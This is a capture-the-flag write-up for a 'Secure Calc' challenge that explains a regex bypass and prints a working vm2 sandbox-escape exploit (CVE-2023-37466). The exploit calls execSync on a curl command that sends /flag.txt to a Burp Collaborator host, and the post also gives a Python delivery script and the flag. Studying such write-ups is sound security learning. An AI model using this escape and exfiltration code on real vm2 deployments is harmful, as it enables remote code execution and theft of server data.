Post

Secure Calc

Description

This site is secure and sandboxed.

Steps

This challenge presented us with a webpage and some Node.js source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const express = require("express");
const { VM } = require("vm2");

const app = express();
const vm = new VM();

app.use(express.json());

app.get("/", function (req, res) {
  return res.send("Hello, just index : )");
});

app.post("/calc", async function (req, res) {
  let { eqn } = req.body;
  if (!eqn) {
    return res.status(400).json({ Error: "Please provide the equation" });
  } else if (eqn.match(/[a-zA-Z]/)) {
    return res.status(400).json({ Error: "Invalid Format" });
  }
  try {
    result = await vm.run(eqn);
    res.send(200, result);
  } catch (e) {
    console.log(e);
    return res
      .status(400)
      .json({ Error: "Syntax error, please check your equation" });
  }
});

app.listen(3000, "0.0.0.0", function () {
  console.log("Started !");
});

When reading the source code for the express.js app we noticed a few things:

  1. It is expecting a parameter eqn at the POST endpoint /calc that gets evaluated by running it as JavaScript using the Node.js library vm2.
  2. The eqn parameter cannot contain alphabetical characters due to the regex match /[a-zA-Z]/. From that information we now know that we need to find a way to bypass the regex and execute JavaScript that escapes the vm2 sandbox.

Solution

In order to bypass the regex matching pattern we just have to convert our JavaScript code to only use characters like !( ) + [ ] which can be achieved by using an online tool like JScrewIt.

Now we just need to escape the sandbox and execute our code, we discovered CVE-2023-37466 for the vm2 package. (a good explanation for the CVE can be found here).

Combining both of these we set up burp collaborator and transform the following JavaScript code that will escape the sandbox and execute curl on the server to return the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cmd =
  "curl http://0rsanbr5xqxnemb8rx1d64gh58bzzpne.oastify.com/$(cat /flag.txt)";
async function fn() {
  (function stack() {
    new Error().stack;
    stack();
  })();
}
p = fn();
p.constructor = {
  [Symbol.species]: class FakePromise {
    constructor(executor) {
      executor(
        (x) => x,
        (err) => {
          return err.constructor
            .constructor("return process")()
            .mainModule.require("child_process")
            .execSync(cmd);
        }
      );
    }
  },
};
p.then();

When sending the transformed payload we receive the flag on our collaborator server

1
2
3
4
5
6
7
8
import requests

with open("payload.js", "r") as f:
    payload = f.read()

res = requests.post("https://sc.ascwg-challs.app/calc", json={"eqn": payload})

print(res.text)

Flag

ASCWG{C0c0_WAwaaaa}

This post is licensed under CC BY 4.0 by the author.